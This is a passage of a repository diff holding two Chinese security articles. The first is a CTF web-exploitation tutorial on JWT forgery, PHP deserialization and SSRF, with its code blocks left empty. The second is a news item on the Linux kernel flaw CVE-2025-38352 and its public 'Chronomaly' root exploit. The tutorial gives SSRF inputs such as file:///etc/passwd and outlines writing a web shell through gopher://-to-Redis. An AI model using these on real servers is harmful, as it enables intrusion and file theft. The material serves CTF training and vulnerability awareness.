爆破，命令：
|
||||
|
||||
|
||||
|
||||
- 拿到密钥后，用JWT.io重新生成签名，篡改Payload提权。
|
||||
|
||||
## 二、新兴漏洞：抓住赛事“新考点”，轻松拉开分差
|
||||
|
||||
2025 CTF Web题新增了**反序列化**
|
||||
和**SSRF**
|
||||
漏洞，这两类题选手覆盖率低，会做就能稳拿分。
|
||||
### 1. 反序列化漏洞：让程序执行“恶意代码”
|
||||
|
||||
反序列化的本质是**将数据还原为对象时，执行了恶意构造的代码**
|
||||
，CTF中PHP和Java反序列化最常见。
|
||||
#### （1）漏洞识别
|
||||
- 找序列化数据：通常是长字符串（如PHP的O:4:"User":2:{s:4:"name";s:5:"test";s:3:"age";i:18;}
|
||||
）；
|
||||
|
||||
- 测试方法：修改序列化数据中的字段，观察程序是否崩溃或执行异常操作。
|
||||
|
||||
#### （2）PHP反序列化实战：CTFHub「unserialize」
|
||||
|
||||
**场景**
|
||||
：靶场接收序列化的User对象，存在__destruct()
|
||||
魔术方法（对象销毁时执行）。
|
||||
|
||||
**核心步骤**
|
||||
：
|
||||
1. 构造恶意序列化数据：
|
||||
|
||||
|
||||
|
||||
1. 将生成的字符串提交给靶场，程序执行system()
|
||||
命令，直接返回flag。
|
||||
|
||||
#### （3）工具：PHP反序列化Payload生成器
|
||||
|
||||
直接用在线工具（如PHP Serialize Online）生成Payload，不用手动写代码。
|
||||
### 2. SSRF：让服务器帮你“内网探洞”
|
||||
|
||||
SSRF（服务器端请求伪造）是**利用服务器发起未授权的网络请求**
|
||||
，可用来读取内网文件、攻击内网服务。
|
||||
#### （1）漏洞识别
|
||||
- 找能输入URL的功能：如“图片链接转存”“远程文章抓取”；
|
||||
|
||||
- 测试Payload：输入http://127.0.0.1
|
||||
，观察页面是否返回内网服务信息。
|
||||
|
||||
#### （2）2种高频利用方法
|
||||
##### 方法1：读取本地文件
|
||||
- Payload：file:///etc/passwd
|
||||
（Linux）或file:///C:/Windows/system32/drivers/etc/hosts
|
||||
（Windows）；
|
||||
|
||||
- 若页面返回文件内容 → 直接找/flag
|
||||
文件。
|
||||
|
||||
##### 方法2：攻击内网Redis
|
||||
- 原理：利用SSRF发送Redis命令，写入恶意数据；
|
||||
|
||||
- Payload（用gopher://
|
||||
协议）：
|
||||
|
||||
- 执行后，服务器会生成shell.php
|
||||
，用蚁剑连接即可getshell。
|
||||
|
||||
## 三、避坑清单（进阶漏洞必看）
|
||||
1. **JWT坑**
|
||||
：改了Payload没改签名 → 服务器会验证签名，必须用对应算法重新生成。
|
||||
|
||||
1. **反序列化坑**
|
||||
：忽略魔术方法 → 重点看__destruct()
|
||||
/__wakeup()
|
||||
这些自动执行的方法。
|
||||
|
||||
1. **SSRF坑**
|
||||
：只测http
|
||||
协议 → 别忘了file://
|
||||
/gopher://
|
||||
/ftp://
|
||||
这些协议。
|
||||
|
||||
## 四、福利+互动
|
||||
|
||||
如果今天这篇权限+新兴漏洞的内容对你有帮助，点个赞、在看，转发给一起打CTF的兄弟~
|
||||
|
||||
**200节攻防教程，限免领！**
|
||||
|
||||
想要的兄弟，**关注我+在后台发“学习”**
|
||||
，直接免费分享！
|
||||
|
||||
|
||||
|
||||
咱学漏洞挖掘和CTF，光看文章不够，这套教程里全是**实战演示**
|
||||
——从工具配置到漏洞利用，每一步都手把手教，跟着练就能上手！
|
||||
|
||||
（注：资源领取入口在公众号后台，关注后发“学习”自动弹链接）
|
||||
|
||||
|
||||
@@ -0,0 +1,23 @@
|
||||
# 零日 Chronomaly 漏洞利用可获取易受攻击的 Linux 内核的 root 权限
|
||||
sec随谈 sec随谈 2026-01-07 01:58
|
||||
|
||||
网络安全研究员 farazsth98 提出了与 Linux 内核漏洞中一个可被攻击者利用的安全问题相关的新发现，该漏洞可能被攻击者利用来提升权限。
|
||||
|
||||
该漏洞编号为 CVE-2025-38352（CVSS 7.4），是一个高危的权限提升（EoP）漏洞，存在于 Android 内核深处。虽然该漏洞最早于 2025 年 7 月披露，但现在已被恶意利用。
|
||||
|
||||
该漏洞是内核 POSIX CPU 定时器中的竞争条件。具体来说，它会扰乱任务清理过程，使攻击者能够触发内存损坏。
|
||||
|
||||
成功利用此漏洞可能会导致系统崩溃、拒绝服务以及权限提升。
|
||||
|
||||
针对此漏洞，已开发出名为“ Chronomaly ”的公开漏洞利用程序。该程序由研究员 farazsth98 编写，目标内核版本为 Linux 内核 v5.10.157，但专家警告称，由于它不依赖于特定的内核内存偏移量，因此“应该可以攻击所有存在漏洞的 v5.10.x 内核版本”。这使得它成为本地攻击者获取 root 权限时极具可移植性和危险性的武器。
|
||||
|
||||
谷歌的公告证实，该漏洞已在零日攻击中被发现——这意味着在公开修复程序发布之前，黑客就已经开始利用该漏洞。“有迹象表明，以下漏洞可能正被有限地、有针对性地利用，”这表明高级威胁行为者可能正在利用这些漏洞攻击特定的高价值目标。
|
||||
|
||||
2025 年 9 月的更新将安全补丁级别提升至 2025-09-05，解决了这个零日漏洞以及其他数十个漏洞。
|
||||
|
||||
强烈建议用户立即检查更新。
|
||||
|
||||
参考链接：
|
||||
|
||||
https://github.com/farazsth98/chronomaly
|
||||
|
||||
Reference in new issue
Block a user